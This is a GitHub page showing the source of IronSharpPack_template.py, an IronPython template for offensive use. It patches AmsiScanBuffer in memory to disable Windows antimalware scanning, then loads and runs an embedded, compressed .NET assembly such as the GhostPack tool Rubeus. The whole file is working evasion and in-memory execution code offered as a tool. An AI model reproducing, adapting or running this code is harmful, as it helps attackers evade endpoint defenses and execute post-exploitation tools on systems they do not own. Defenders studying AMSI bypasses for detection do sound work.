-
-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathIronSharpPack_template.py
109 lines (91 loc) · 3.74 KB
/
IronSharpPack_template.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import base64
import zlib
import argparse
import clr
import ctypes
from ctypes import *
import System
from System import Array, IntPtr, UInt32
from System.Reflection import Assembly
import System.Reflection as Reflection
clr.AddReference('System.Management.Automation')
from System.Management.Automation import Runspaces, RunspaceInvoke
from System.Runtime.InteropServices import Marshal
base64_str = '<replace_assembly>'
def bypass():
"""
Bypasses the Antimalware Scan Interface (AMSI) by patching the AmsiScanBuffer method in amsi.dll.
This allows scripts to run without being scanned and potentially blocked by AMSI.
"""
windll.LoadLibrary('amsi.dll')
windll.kernel32.GetModuleHandleW.argtypes = [c_wchar_p]
windll.kernel32.GetModuleHandleW.restype = c_void_p
handle = windll.kernel32.GetModuleHandleW('amsi.dll')
windll.kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p]
windll.kernel32.GetProcAddress.restype = c_void_p
BufferAddress = windll.kernel32.GetProcAddress(handle,
'AmsiScanBuffer')
BufferAddress = IntPtr(BufferAddress)
Size = System.UInt32(0x05)
ProtectFlag = System.UInt32(0x40)
OldProtectFlag = Marshal.AllocHGlobal(0x00)
virt_prot = windll.kernel32.VirtualProtect(BufferAddress, Size,
ProtectFlag, OldProtectFlag)
patch = System.Array[System.Byte]((
System.UInt32(0xB8),
System.UInt32(0x57),
System.UInt32(0x00),
System.UInt32(0x07),
System.UInt32(0x80),
System.UInt32(0xC3),
))
Marshal.Copy(patch, 0x00, BufferAddress, 6)
def base64_to_bytes(base64_string):
"""
Converts a base64 encoded string to a .NET byte array after decompressing it.
Args:
base64_string: The base64 encoded and compressed string to convert.
Returns:
A .NET byte array of the decompressed data.
"""
compressed_data = base64.b64decode(base64_string)
decompressed_data = zlib.decompress(compressed_data)
return System.Array[System.Byte](decompressed_data)
def load_and_execute_assembly(command):
"""
Loads a .NET assembly from a base64 encoded and compressed string and executes a specified method.
Args:
command: The command to execute within the loaded assembly.
Returns:
The result of the executed command.
"""
assembly_bytes = base64_to_bytes(base64_str)
assembly = Assembly.Load(assembly_bytes)
program_type = assembly.GetType('<replace_programname>.Program')
method = program_type.GetMethod('MainString')
# Have to do this nesting thing to deal with different main entry points and public/private methods
if method == None:
method = program_type.GetMethod('Main')
if method == None:
method = program_type.GetMethod('Main',
Reflection.BindingFlags.NonPublic
| Reflection.BindingFlags.Static)
# Create a jagged array to pass in an array of string arrays to satisfy argument requirements
command_array = Array[str]([command])
command_args = System.Array[System.Object]([command_array])
else:
# Ghost Pack stuff like Rubeus uses a different input
command_args = Array[str]([command])
result = method.Invoke(None, command_args)
return result
def main():
bypass()
parser = argparse.ArgumentParser(description='Execute a command on a hardcoded base64 encoded assembly')
parser.add_argument('command', type=str, nargs='?', default='',
help='Command to execute (like "help" or "triage"). If not specified, a default command is executed.'
)
args = parser.parse_args()
result = load_and_execute_assembly(args.command)
print(result)
if __name__ == '__main__':
main()